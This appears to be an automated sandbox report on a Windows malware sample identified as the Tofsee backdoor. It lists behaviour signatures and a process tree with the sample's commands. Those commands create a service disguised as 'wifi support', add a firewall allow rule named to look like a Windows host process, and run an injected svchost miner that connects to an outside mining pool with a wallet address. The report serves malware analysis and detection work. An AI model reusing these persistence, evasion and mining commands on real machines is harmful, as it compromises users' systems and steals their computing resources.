Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13/11/2020, 15:40

General

  • Target
    3cd22875973acede14a7dd16dfb502bccaf4f158cfbacac6d490bdb9ea19bbe1.exe
  • Size 13.9MB
  • Sample201113-vwhbtprbhx
  • SHA256 3cd22875973acede14a7dd16dfb502bccaf4f158cfbacac6d490bdb9ea19bbe1
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3cd22875973acede14a7dd16dfb502bccaf4f158cfbacac6d490bdb9ea19bbe1.exe
    "C:\Users\Admin\AppData\Local\Temp\3cd22875973acede14a7dd16dfb502bccaf4f158cfbacac6d490bdb9ea19bbe1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1176
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kndwhegx\
      2⤵
        PID:3844
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ofnlvqxl.exe" C:\Windows\SysWOW64\kndwhegx\
        2⤵
          PID:960
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kndwhegx binPath= "C:\Windows\SysWOW64\kndwhegx\ofnlvqxl.exe /d\"C:\Users\Admin\AppData\Local\Temp\3cd22875973acede14a7dd16dfb502bccaf4f158cfbacac6d490bdb9ea19bbe1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3172
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description kndwhegx "wifi internet conection"
            2⤵
              PID:3724
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start kndwhegx
              2⤵
                PID:2712
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2528
              • C:\Windows\SysWOW64\kndwhegx\ofnlvqxl.exe
                C:\Windows\SysWOW64\kndwhegx\ofnlvqxl.exe /d"C:\Users\Admin\AppData\Local\Temp\3cd22875973acede14a7dd16dfb502bccaf4f158cfbacac6d490bdb9ea19bbe1.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:496
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:4008
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:940

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/496-11-0x0000000000990000-0x0000000000991000-memory.dmp

                    memory/496-10-0x000000000061E000-0x000000000061F000-memory.dmp

                    memory/940-21-0x00000000028E0000-0x00000000029D1000-memory.dmp

                    memory/1176-1-0x00000000009C0000-0x00000000009C1000-memory.dmp

                    memory/1176-0-0x0000000000663000-0x0000000000664000-memory.dmp

                    memory/4008-12-0x0000000000130000-0x0000000000145000-memory.dmp

                    memory/4008-15-0x0000000004140000-0x000000000434F000-memory.dmp

                    memory/4008-16-0x00000000001F0000-0x00000000001F6000-memory.dmp

                    memory/4008-17-0x00000000005E0000-0x00000000005F0000-memory.dmp

                    memory/4008-18-0x0000000002EC0000-0x0000000002EC5000-memory.dmp

                    memory/4008-19-0x0000000008C50000-0x000000000905B000-memory.dmp

                    memory/4008-20-0x0000000002ED0000-0x0000000002ED7000-memory.dmp